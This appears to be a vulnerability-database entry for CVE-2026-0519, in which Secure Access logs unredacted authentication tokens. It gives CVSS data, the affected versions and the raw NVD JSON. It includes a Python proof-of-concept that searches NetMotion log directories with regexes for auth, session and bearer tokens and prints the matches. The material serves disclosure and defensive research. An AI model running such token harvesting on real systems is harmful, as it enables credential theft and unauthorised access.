Security Vulnerability Report
中文
CVE-2026-0519 CVSS 3.4 LOW

CVE-2026-0519

Published: 2026-01-17 02:15:50
Last Modified: 2026-02-02 16:04:56

Description

In Secure Access 12.70 and prior to 14.20, the logging subsystem may write an unredacted authentication token to logs under certain configurations. Any party with access to those logs could read the token and reuse it to access an integrated system.

CVSS Details

CVSS Score
3.4
Severity
LOW
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:absolute:secure_access:*:*:*:*:*:*:*:* - VULNERABLE
NetMotion Secure Access <= 12.70
NetMotion Secure Access < 14.20

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 # CVE-2026-0519 PoC - NetMotion Secure Access Token Log Extraction # This PoC demonstrates how to extract authentication tokens from logs import os import re import sys from pathlib import Path def search_log_files(log_dir, patterns): """Search for authentication tokens in log files""" tokens = [] log_files = list(Path(log_dir).rglob('*.log')) for log_file in log_files: try: with open(log_file, 'r', encoding='utf-8', errors='ignore') as f: content = f.read() for pattern in patterns: matches = re.findall(pattern, content) for match in matches: tokens.append({ 'file': str(log_file), 'token': match, 'pattern': pattern }) except Exception as e: print(f"Error reading {log_file}: {e}") return tokens def main(): # Common log locations for NetMotion Secure Access log_dirs = [ '/var/log/netmotion/', '/opt/netmotion/logs/', 'C:\\Program Files\\NetMotion\\logs\\', 'C:\\NetMotion\\logs\\' ] # Token patterns to search token_patterns = [ r'auth[_-]?token[=:\s]+["\']?([a-zA-Z0-9_\-]{32,})', r'token[=:\s]+["\']?([a-zA-Z0-9_\-]{32,})', r'session[_-]?id[=:\s]+["\']?([a-zA-Z0-9_\-]{32,})', r'Bearer\s+([a-zA-Z0-9_\-\.]+)' ] print("CVE-2026-0519 - NetMotion Secure Access Token Extraction PoC") print("=" * 60) for log_dir in log_dirs: if os.path.exists(log_dir): print(f"\nSearching in: {log_dir}") tokens = search_log_files(log_dir, token_patterns) if tokens: print(f"Found {len(tokens)} potential tokens:") for token_info in tokens: print(f" File: {token_info['file']}") print(f" Token: {token_info['token'][:20]}...") else: print(" No tokens found in this location") if __name__ == '__main__': main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-0519", "sourceIdentifier": "[email protected]", "published": "2026-01-17T02:15:49.627", "lastModified": "2026-02-02T16:04:56.253", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In Secure Access 12.70 and prior to 14.20, the logging \nsubsystem may write an unredacted authentication token to logs under \ncertain configurations. Any party with access to those logs could read \nthe token and reuse it to access an integrated system."}, {"lang": "es", "value": "En Secure Access 12.70 y previo a la 14.20, el subsistema de registro podría escribir un token de autenticación sin redactar en los registros bajo ciertas configuraciones. Cualquier parte con acceso a esos registros podría leer el token y reutilizarlo para acceder a un sistema integrado."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:H/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 4.6, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "HIGH", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:N", "baseScore": 3.4, "baseSeverity": "LOW", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 0.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-532"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:absolute:secure_access:*:*:*:*:*:*:*:*", "versionStartIncluding": "12.70", "versionEndExcluding": "14.20", "matchCriteriaId": "DB3C9C13-5E04-471A-8CAA-C09B049F420F"}]}]}], "references": [{"url": "https://www.absolute.com/platform/security-information/vulnerability-archive/cve-2026-0519", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}